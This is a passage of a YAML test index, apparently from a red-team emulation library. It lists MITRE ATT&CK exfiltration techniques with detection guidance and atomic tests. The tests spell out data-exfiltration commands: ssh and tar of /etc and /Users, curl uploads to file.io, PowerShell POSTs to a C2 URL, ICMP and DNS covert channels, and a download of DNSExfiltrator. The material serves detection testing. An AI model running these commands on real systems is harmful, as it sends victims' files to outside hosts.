      description: An adversary may exfiltrate data in fixed size chunks instead of
        whole files or limit packet sizes below certain thresholds. This approach
        may be used to avoid triggering network data transfer threshold alerts.
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1030
        external_id: T1030
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      modified: '2020-07-14T19:47:46.912Z'
      created: '2017-05-31T21:30:34.523Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_network_requirements: true
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). If a process
        maintains a long connection during which it consistently sends fixed size
        data packets or a process opens connections and sends fixed sized data packets
        at regular intervals, it may be performing an aggregate data transfer. Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used. (Citation: University of Birmingham C2)'
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_version: '1.0'
      identifier: T1030
    atomic_tests:
    - name: Data Transfer Size Limits
      auto_generated_guid: ab936c51-10f4-46ce-9144-e02137b2016a
      description: 'Take a file/directory, split it into 5Mb chunks

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        file_name:
          description: File name
          type: Path
          default: T1030_urandom
        folder_path:
          description: Path where the test creates artifacts
          type: Path
          default: "/tmp/T1030"
      dependency_executor_name: sh
      dependencies:
      - description: The file must exist for the test to run.
        prereq_command: 'if [ ! -f #{folder_path}/#{file_name} ]; then exit 1; else
          exit 0; fi;

'
        get_prereq_command: 'if [ ! -d #{folder_path} ]; then mkdir -p #{folder_path};
          touch #{folder_path}/safe_to_delete; fi; dd if=/dev/urandom of=#{folder_path}/#{file_name}
          bs=25000000 count=1

'
      executor:
        command: |
          cd #{folder_path}; split -b 5000000 #{file_name}
          ls -l #{folder_path}
        cleanup_command: 'if [ -f #{folder_path}/safe_to_delete ]; then rm -rf #{folder_path};
          fi;

'
        name: sh
  T1048:
    technique:
      created: '2017-05-31T21:30:44.720Z'
      modified: '2020-03-28T00:50:31.548Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      type: attack-pattern
      id: attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Exfiltration Over Alternative Protocol
      description: "Adversaries may steal data by exfiltrating it over a different
        protocol than that of the existing command and control channel. The data may
        also be sent to an alternate network location from the main command and control
        server.  \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any
        other network protocol not being used as the main command and control channel.
        Different protocol channels could also include Web services such as cloud
        storage. Adversaries may also opt to encrypt and/or obfuscate these alternate
        channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)
        can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB
        or FTP.(Citation: Palo Alto OilRig Oct 2016) "
      external_references:
      - source_name: mitre-attack
        external_id: T1048
        url: https://attack.mitre.org/techniques/T1048
      - source_name: Palo Alto OilRig Oct 2016
        description: Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware
          Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.
        url: http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_is_subtechnique: false
      x_mitre_contributors:
      - Alfredo Abarca
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_network_requirements: true
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used. (Citation: University of Birmingham C2)'
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_version: '1.2'
      identifier: T1048
    atomic_tests:
    - name: Exfiltration Over Alternative Protocol - SSH
      auto_generated_guid: f6786cc8-beda-4915-a4d6-ac2f193bb988
      description: |
        Input a domain and test Exfiltration over SSH

        Remote to Local

        Upon successful execution, sh will spawn ssh contacting a remote domain (default: target.example.com) writing a tar.gz file.
      supported_platforms:
      - macos
      - linux
      input_arguments:
        domain:
          description: target SSH domain
          type: Url
          default: target.example.com
      executor:
        command: 'ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz

'
        name: sh
    - name: Exfiltration Over Alternative Protocol - SSH
      auto_generated_guid: 7c3cb337-35ae-4d06-bf03-3032ed2ec268
      description: |
        Input a domain and test Exfiltration over SSH

        Local to Remote

        Upon successful execution, tar will compress /Users/* directory and password protect the file modification of `Users.tar.gz.enc` as output.
      supported_platforms:
      - macos
      - linux
      input_arguments:
        user_name:
          description: username for domain
          type: String
          default: atomic
        password:
          description: password for user
          type: String
          default: atomic
        domain:
          description: target SSH domain
          type: Url
          default: target.example.com
      executor:
        command: 'tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh
          #{user_name}@#{domain} ''cat > /Users.tar.gz.enc''

'
        name: sh
    - name: DNSExfiltration (doh)
      auto_generated_guid: c943d285-ada3-45ca-b3aa-7cd6500c6a48
      description: "DNSExfiltrator allows for transfering (exfiltrate) a file over
        a DNS request covert channel. This is basically a data leak testing tool allowing
        to exfiltrate data over a covert channel.\n!!! Test will fail without a domain
        under your control with A record and NS record !!! \nSee this github page
        for more details - https://github.com/Arno0x/DNSExfiltrator\n"
      supported_platforms:
      - windows
      input_arguments:
        password:
          description: Password used to encrypt the data to be exfiltrated
          type: String
          default: atomic
        domain:
          description: The domain name to use for DNS requests
          type: String
          default: target.example.com
        ps_module:
          description: DNSExfiltrator powershell ps_module
          type: Path
          default: "$env:Temp\\dnsexfil.ps1"
        doh:
          description: Google or CloudFlare DoH (DNS over HTTP) server
          type: String
          default: google
        time:
          description: The time in milliseconds to wait between each DNS request
          type: String
          default: 500
        encoding:
          description: Set to '-b32' to use base32 encoding of data. Might be required
            by some DNS resolvers.
          type: String
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'DNSExfiltrator powershell file must exist on disk at specified
          location (#{ps_module})

'
        prereq_command: 'if (Test-Path #{ps_module}) {exit 0} else {exit 1}

'
        get_prereq_command: 'IWR "https://raw.githubusercontent.com/Arno0x/DNSExfiltrator/8faa972408b0384416fffd5b4d42a7aa00526ca8/Invoke-DNSExfiltrator.ps1"
          -OutFile #{ps_module}

'
      executor:
        command: |
          Import-Module #{ps_module}
          Invoke-DNSExfiltrator -i #{ps_module} -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding}
        name: powershell
  T1048.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1048.002
        url: https://attack.mitre.org/techniques/T1048/002
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol
      description: "Adversaries may steal data by exfiltrating it over an asymmetrically
        encrypted network protocol other than that of the existing command and control
        channel. The data may also be sent to an alternate network location from the
        main command and control server. \n\nAsymmetric encryption algorithms are
        those that use different keys on each end of the channel. Also known as public-key
        cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt
        data from the corresponding key. Each end of the communication channels requires
        a private key (only in the procession of that entity) and the public key of
        the other entity. The public keys of each entity are exchanged before encrypted
        communications begin. \n\nNetwork protocols that use asymmetric encryption
        (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged.
        Adversaries may opt to use these encrypted mechanisms that are baked into
        a protocol. "
      id: attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      modified: '2020-03-28T00:45:51.014Z'
      created: '2020-03-15T15:34:30.767Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_network_requirements: true
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious.(Citation: University of Birmingham
        C2) '
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1048.002
    atomic_tests:
    - name: Exfiltrate data HTTPS using curl windows
      auto_generated_guid: 1cdf2fb0-51b6-4fd8-96af-77020d5f1bf0
      description: 'Exfiltrate data HTTPS using curl to file share site file.io

'
      supported_platforms:
      - windows
      input_arguments:
        input_file:
          description: Test file to upload
          type: Path
          default: PathToAtomicsFolder/T1048.002/src/artifact
        curl_path:
          description: path to curl.exe
          type: Path
          default: C:\Windows\System32\Curl.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Curl must be installed on system.

'
        prereq_command: 'if (Test-Path #{curl_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          Invoke-WebRequest "https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip" -Outfile $env:temp\curl.zip
          Expand-Archive -Path $env:temp\curl.zip -DestinationPath $env:temp\curl
          Copy-Item $env:temp\curl\curl-7.79.1-win64-mingw\bin\curl.exe C:\Windows\System32\Curl.exe
          Remove-Item $env:temp\curl
          Remove-Item $env:temp\curl.zip
      executor:
        name: command_prompt
        elevation_required: false
        command: "#{curl_path} -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true'
          https://file.io/\n"
    - name: Exfiltrate data HTTPS using curl linux
      auto_generated_guid: 4a4f31e2-46ea-4c26-ad89-f09ad1d5fe01
      description: 'Exfiltrate data HTTPS using curl to file share site file.io

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        input_file:
          description: Test file to upload
          type: Path
          default: PathToAtomicsFolder/T1048.002/src/artifact
      executor:
        name: bash
        elevation_required: false
        command: curl -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true'
          https://file.io/
  T1011.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1011.001
        url: https://attack.mitre.org/techniques/T1011/001
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Exfiltration Over Bluetooth
      description: |-
        Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an attacker may opt to exfiltrate data using a Bluetooth communication channel.

        Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.
      id: attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      modified: '2020-03-28T00:34:55.439Z'
      created: '2020-03-09T17:07:57.392Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: |-
        Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.

        Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1041:
    technique:
      created: '2017-05-31T21:30:41.804Z'
      modified: '2020-03-12T15:59:47.470Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      type: attack-pattern
      id: attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Exfiltration Over C2 Channel
      description: Adversaries may steal data by exfiltrating it over an existing
        command and control channel. Stolen data is encoded into the normal communications
        channel using the same protocol as command and control communications.
      external_references:
      - source_name: mitre-attack
        external_id: T1041
        url: https://attack.mitre.org/techniques/T1041
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_network_requirements: true
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used. (Citation: University of Birmingham C2)'
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: false
      identifier: T1041
    atomic_tests:
    - name: C2 Data Exfiltration
      auto_generated_guid: d1253f6e-c29b-49dc-b466-2147a6191932
      description: 'Exfiltrates a file present on the victim machine to the C2 server.

'
      supported_platforms:
      - windows
      input_arguments:
        destination_url:
          description: Destination URL to post encoded data.
          type: String
          default: example.com
        filepath:
          description: The file which is being exfiltrated to the C2 Server.
          type: Path
          default: "$env:TEMP\\LineNumbers.txt"
      executor:
        command: "if(-not (Test-Path #{filepath})){ \n  1..100 | ForEach-Object {
          Add-Content -Path #{filepath} -Value \"This is line $_.\" }\n}\n[System.Net.ServicePointManager]::Expect100Continue
          = $false\n$filecontent = Get-Content -Path #{filepath}\nInvoke-WebRequest
          -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive\n"
        name: powershell
  T1011:
    technique:
      id: attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Exfiltration Over Other Network Medium
      description: |-
        Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.

        Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1011
        external_id: T1011
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      modified: '2020-03-28T00:35:24.570Z'
      created: '2017-05-31T21:30:25.159Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_network_requirements: true
      x_mitre_detection: |-
        Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.

        Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.
      x_mitre_contributors:
      - Itzik Kotler, SafeBreach
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_version: '1.1'
    atomic_tests: []
  T1052:
    technique:
      id: attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Exfiltration Over Physical Medium
      description: Adversaries may attempt to exfiltrate data via a physical medium,
        such as a removable drive. In certain circumstances, such as an air-gapped
        network compromise, exfiltration could occur via a physical medium or device
        introduced by a user. Such media could be an external hard drive, USB drive,
        cellular phone, MP3 player, or other removable storage and processing device.
        The physical medium or device could be used as the final exfiltration point
        or to hop between otherwise disconnected systems.
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1052
        external_id: T1052
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      modified: '2020-03-28T00:31:48.713Z'
      created: '2017-05-31T21:30:46.461Z'
      x_mitre_is_subtechnique: false
      x_mitre_system_requirements:
      - Presence of physical medium or device
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_network_requirements: false
      x_mitre_detection: Monitor file access on removable media. Detect processes
        that execute when removable media are mounted.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Access'
      - 'Drive: Drive Creation'
      - 'Command: Command Execution'
      x_mitre_version: '1.1'
    atomic_tests: []
  T1048.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1048.001
        url: https://attack.mitre.org/techniques/T1048/001
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Exfiltration Over Symmetric Encrypted Non-C2 Protocol
      description: "Adversaries may steal data by exfiltrating it over a symmetrically
        encrypted network protocol other than that of the existing command and control
        channel. The data may also be sent to an alternate network location from the
        main command and control server. \n\nSymmetric encryption algorithms are those
        that use shared or the same keys/secrets on each end of the channel. This
        requires an exchange or pre-arranged agreement/possession of the value used
        to encrypt and decrypt data. \n\nNetwork protocols that use asymmetric encryption
        often utilize symmetric encryption once keys are exchanged, but adversaries
        may opt to manually share keys and implement symmetric cryptographic algorithms
        (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This
        may result in multiple layers of encryption (in protocols that are natively
        encrypted such as HTTPS) or encryption in protocols that not typically encrypted
        (such as HTTP or FTP). "
      id: attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      modified: '2020-03-28T00:43:24.228Z'
      created: '2020-03-15T15:30:42.378Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_network_requirements: true
      x_mitre_detection: "Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious.(Citation: University of Birmingham
        C2) \n\nArtifacts and evidence of symmetric key exchange may be recoverable
        by analyzing network traffic or looking for hard-coded values within malware.
        If recovered, these keys can be used to decrypt network data from command
        and control channels. "
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1048.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1048.003
        url: https://attack.mitre.org/techniques/T1048/003
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol
      description: "Adversaries may steal data by exfiltrating it over an un-encrypted
        network protocol other than that of the existing command and control channel.
        The data may also be sent to an alternate network location from the main command
        and control server. \n\nAdversaries may opt to obfuscate this data, without
        the use of encryption, within network protocols that are natively unencrypted
        (such as HTTP, FTP, or DNS). This may include custom or publicly available
        encoding/compression algorithms (such as base64) as well as embedding data
        within protocol headers and fields. "
      id: attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      modified: '2020-03-28T00:50:31.361Z'
      created: '2020-03-15T15:37:47.583Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_network_requirements: true
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used. (Citation: University of Birmingham C2) '
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1048.003
    atomic_tests:
    - name: Exfiltration Over Alternative Protocol - HTTP
      auto_generated_guid: 1d1abbd6-a3d3-4b2e-bef5-c59293f46eff
      description: |
        A firewall rule (iptables or firewalld) will be needed to allow exfiltration on port 1337.

        Upon successful execution, sh will be used to make a directory (/tmp/victim-staging-area), write a txt file, and host the directory with Python on port 1337, to be later downloaded.
      supported_platforms:
      - macos
      - linux
      executor:
        steps: |
          1. Victim System Configuration:

              mkdir /tmp/victim-staging-area
              echo "this file will be exfiltrated" > /tmp/victim-staging-area/victim-file.txt

          2. Using Python to establish a one-line HTTP server on victim system:

              cd /tmp/victim-staging-area
              python -m SimpleHTTPServer 1337

          3. To retrieve the data from an adversary system:

              wget http://VICTIM_IP:1337/victim-file.txt
        name: manual
    - name: Exfiltration Over Alternative Protocol - ICMP
      auto_generated_guid: dd4b4421-2e25-4593-90ae-7021947ad12e
      description: |
        Exfiltration of specified file over ICMP protocol.

        Upon successful execution, powershell will utilize ping (icmp) to exfiltrate notepad.exe to a remote address (default 127.0.0.1). Results will be via stdout.
      supported_platforms:
      - windows
      input_arguments:
        input_file:
          description: Path to file to be exfiltrated.
          type: Path
          default: C:\Windows\System32\notepad.exe
        ip_address:
          description: Destination IP address where the data should be sent.
          type: String
          default: 127.0.0.1
      executor:
        command: '$ping = New-Object System.Net.Networkinformation.ping; foreach($Data
          in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}",
          1500, $Data) }

'
        name: powershell
    - name: Exfiltration Over Alternative Protocol - DNS
      auto_generated_guid: c403b5a4-b5fc-49f2-b181-d1c80d27db45
      description: 'Exfiltration of specified file over DNS protocol.

'
      supported_platforms:
      - linux
      executor:
        steps: "1. On the adversary machine run the below command.\n\n    tshark -f
          \"udp port 53\" -Y \"dns.qry.type == 1 and dns.flags.response == 0 and dns.qry.name
          matches \".domain\"\" >> received_data.txt\n\n2. On the victim machine run
          the below commands.\n\n    xxd -p input_file > encoded_data.hex | for data
          in `cat encoded_data.hex`; do dig $data.domain; done\n    \n3. Once the
          data is received, use the below command to recover the data.\n\n    cat
          output_file | cut -d \"A\" -f 2 | cut -d \" \" -f 2 | cut -d \".\" -f 1
          | sort | uniq | xxd -p -r\n"
        name: manual
    - name: Exfiltration Over Alternative Protocol - HTTP
      auto_generated_guid: 6aa58451-1121-4490-a8e9-1dada3f1c68c
      description: |
        Exfiltration of specified file over HTTP.
        Upon successful execution, powershell will invoke web request using POST method to exfiltrate notepad.exe to a remote address (default http://127.0.0.1). Results will be via stdout.
      supported_platforms:
      - windows
      executor:
        command: |
          $content = Get-Content #{input_file}
          Invoke-WebRequest -Uri #{ip_address} -Method POST -Body $content
        name: powershell
      input_arguments:
        input_file:
          description: Path to file to exfiltrate
          type: Path
          default: C:\Windows\System32\notepad.exe
        ip_address:
          description: Destination IP address where the data should be sent
          type: String
          default: http://127.0.0.1
    - name: Exfiltration Over Alternative Protocol - SMTP
      auto_generated_guid: ec3a835e-adca-4c7c-88d2-853b69c11bb9
      description: |
        Exfiltration of specified file over SMTP.
        Upon successful execution, powershell will send an email with attached file to exfiltrateto a remote address. Results will be via stdout.
      supported_platforms:
      - windows
      executor:
        command: 'Send-MailMessage -From #{sender} -To #{receiver} -Subject "T1048.003
          Atomic Test" -Attachments #{input_file} -SmtpServer #{smtp_server}

'
        name: powershell
      input_arguments:
        input_file:
          description: Path to file to exfiltrate
          type: Path
          default: C:\Windows\System32\notepad.exe
        sender:
          description: The email address of the sender
          type: String
          default: test@corp.com
        receiver:
          description: The email address of the receiver
          type: String
          default: test@corp.com
        smtp_server:
          description: SMTP server to use for email transportation
          type: String
          default: 127.0.0.1
  T1567:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1567
        url: https://attack.mitre.org/techniques/T1567
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Exfiltration Over Web Service
      description: |-
        Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.

        Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.
      id: attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      modified: '2020-03-28T01:02:24.276Z'
      created: '2020-03-09T12:51:45.570Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_network_requirements: true
      x_mitre_detection: Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. User behavior monitoring may help to
        detect abnormal patterns of activity.
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1567
    atomic_tests:
    - name: Data Exfiltration with ConfigSecurityPolicy
      auto_generated_guid: 5568a8f4-a8b1-4c40-9399-4969b642f122
      description: |
        Exfiltration of data using ConfigSecurityPolicy.exe
        https://debugactiveprocess.medium.com/data-exfiltration-with-lolbins-4d9c6e43dacf
      supported_platforms:
      - windows
      executor:
        command: |
          $path = resolve-path "c:\ProgramData\Microsoft\Windows Defender\Platform\*\ConfigSecurityPolicy.exe"
          & $path[0] c:\temp\config.xml "https://webhook.site?d=sensitive-data-here"
        name: powershell
  T1052.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1052.001
        url: https://attack.mitre.org/techniques/T1052/001
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Exfiltration over USB
      description: Adversaries may attempt to exfiltrate data over a USB connected
        physical device. In certain circumstances, such as an air-gapped network compromise,
        exfiltration could occur via a USB device introduced by a user. The USB device
        could be used as the final exfiltration point or to hop between otherwise
        disconnected systems.
      id: attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      modified: '2020-03-28T00:31:02.204Z'
      created: '2020-03-11T13:50:11.467Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_system_requirements:
      - Presence of physical medium or device
      x_mitre_detection: Monitor file access on removable media. Detect processes
        that execute when removable media are mounted.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Access'
      - 'Drive: Drive Creation'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1567.002:
    technique:
      created: '2020-03-09T15:04:32.767Z'
      modified: '2020-03-28T01:02:24.172Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      type: attack-pattern
      id: attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b
      description: "Adversaries may exfiltrate data to a cloud storage service rather
        than over their primary command and control channel. Cloud storage services
        allow for the storage, edit, and retrieval of data from a remote cloud storage
